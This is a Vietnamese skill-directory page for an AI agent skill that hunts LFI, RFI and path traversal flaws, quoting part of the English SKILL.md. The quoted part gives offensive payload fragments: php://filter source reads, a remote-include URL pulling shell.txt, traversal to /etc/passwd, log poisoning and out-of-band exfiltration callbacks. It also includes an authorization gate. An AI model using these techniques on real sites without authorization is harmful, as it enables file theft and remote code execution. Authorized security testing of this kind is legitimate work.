hunt-lfi
Skill này làm gì
Agent AI này giúp tìm lỗ hổng trong website cho phép kẻ tấn công đọc tệp nhạy cảm hoặc thực thi mã độc. Nó tìm các lỗi cụ thể gọi là LFI (Local File Inclusion), RFI (Remote File Inclusion) và Path Traversal.
Khi nào nên dùng
- ✓Khi kiểm thử bảo mật một website có sự cho phép.
- ✓Để tìm hiểu cách các lỗi bảo mật hoạt động.
- ✓Khi thực hiện một đợt kiểm toán bảo mật được ủy quyền.
Liên kết skill
https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-lfi/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Tìm lỗ hổng file inclusion trên example.com”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Công cụ thử chèn các đường dẫn tệp đặc biệt vào tham số URL hoặc dữ liệu gửi đến website. Nếu website có lỗ hổng, nó có thể tiết lộ nội dung tệp trên máy chủ hoặc thậm chí thực thi lệnh.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.
Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
- Ask the user to state the exact target URL, IP, account, or resource.
- Ask the user to confirm written authorization and the permitted scope.
- Show the exact command(s) and explain their expected effect.
- Wait for explicit confirmation in the current conversation.
Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
HUNT-LFI — Local / Remote File Inclusion & Path Traversal
Crown Jewel Targets
LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.
Highest-value chains (in rough order of reliability in 2026):
- PHP filter-chain → RCE — the modern default. A bare
php://filterfile-read primitive is upgraded to RCE with no upload endpoint and no writable file by chainingiconvconversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed. - Log poisoning → RCE — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by
open_basedirand unreadable log perms, so verify the log is readable first. - PHP wrappers → source disclosure —
php://filter/convert.base64-encode/resource=index.phpleaks source; read source to find more LFI sinks, secrets, and the include base path. - RFI → RCE — when
allow_url_include=On,?file=http://OOB/shell.txtpulls and executes remote code. Rare on modern configs but trivially Critical when present. - phar:// deserialization — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
- zip:// / data:// chains and session/upload poisoning when filters block wrappers.
OOB / Blind-LFI Confirmation Gate (Read First)
LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.
What is NOT confirmation
- A different status code or error string for
../../etc/passwdvs a normal value. The app may be string-matching../and returning a canned 403/500 without ever touching the filesystem. - Your input echoed back inside an error message (e.g.
failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path. - A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.
What IS confirmation
- Direct read: actual file contents appear (real
root:x:0:0:line, real PHP source after base64-decoding the filter output). - Blind read via OOB exfil: use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your Burp Collaborator subdomain, or use an
expect:/// wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran. - Blind read via differential/timing: include a file you know exists and is large (
/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.
Default workflow
- Pick a unique marker target: prefer a file whose content you can fingerprint exactly (
/etc/passwd→ grep^root:). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source. - Generate a sub-tagged Collaborator payload per sink (
lfi-page.<collab>,lfi-tpl.<collab>) so callbacks identify which parameter fired. - Send, wait 30–120s, poll OOB.
…
Câu hỏi thường gặp
LFI/RFI/Path Traversal là gì?
Đây là các loại lỗ hổng bảo mật. LFI cho phép kẻ tấn công đọc tệp trên máy chủ cục bộ. RFI cho phép kẻ tấn công khiến máy chủ tải và thực thi một tệp từ máy chủ khác. Path Traversal cho phép kẻ tấn công điều hướng cấu trúc thư mục của máy chủ.
Tôi có cần sự cho phép để dùng công cụ này không?
Có, bạn cần sự cho phép rõ ràng, bằng văn bản từ chủ sở hữu hệ thống trước khi dùng. Dùng trái phép là bất hợp pháp.
Làm sao tôi biết công cụ có tìm thấy gì không?
Công cụ sẽ cố hiển thị nội dung tệp trên máy chủ hoặc xác nhận xem một lệnh có được thực thi hay không. Nó yêu cầu xác nhận rõ ràng trước khi thực hiện bất kỳ hành động nào có thể thay đổi hoặc truy cập dữ liệu.
Chi tiết
Mô tả gốc của tác giả
Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal
Độ phổ biến
- Sao GitHub
- 48k
- Vị trí xếp hạng
- #4884
- Giấy phép
- MIT
- Cập nhật
- 15/10/2026
Bình luận
- …
Thêm skill từ kho mã này
00-andruia-consultant
48kGiúp agent của bạn bắt đầu hoặc cải thiện các dự án AI. Phân tích mã, gợi ý công cụ và lập kế hoạch hành động bằng tiếng Tây Ban Nha.
007
48kCho phép agent của bạn thực hiện kiểm toán bảo mật và mô hình hóa mối đe dọa. Hữu ích để bảo vệ dự án khỏi các cuộc tấn công và lỗ hổng.
10-andruia-skill-smith
48kGiúp agent của bạn tạo hoặc cải thiện các công cụ AI. Xác định cách công cụ hoạt động, viết tài liệu và kiểm tra cấu trúc.
20-andruia-niche-intelligence
48kGiúp agent của bạn tạo bản tóm tắt về một ngành cụ thể. Hữu ích để hiểu bối cảnh, quy tắc, cách người dùng tương tác và rủi ro của dự án.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.